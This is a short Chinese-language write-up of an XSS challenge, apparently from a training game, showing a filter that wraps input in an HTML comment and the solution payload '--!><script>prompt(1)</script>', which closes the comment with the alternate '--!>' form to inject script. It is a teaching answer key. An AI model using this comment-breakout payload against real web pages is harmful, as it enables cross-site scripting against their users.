题目
function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');
    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}解题思路
正则把 -> 过略了,导致我们无法闭合注释。
但是 HTML 注释还有另一种闭合方式:<!--  xxxxx  --!>
因此构造这样的 payload 即可实现绕过:--!><script>prompt(1)</script>

答案下载
- payload.html : 下载
 
                     
                     
                     
                        
                        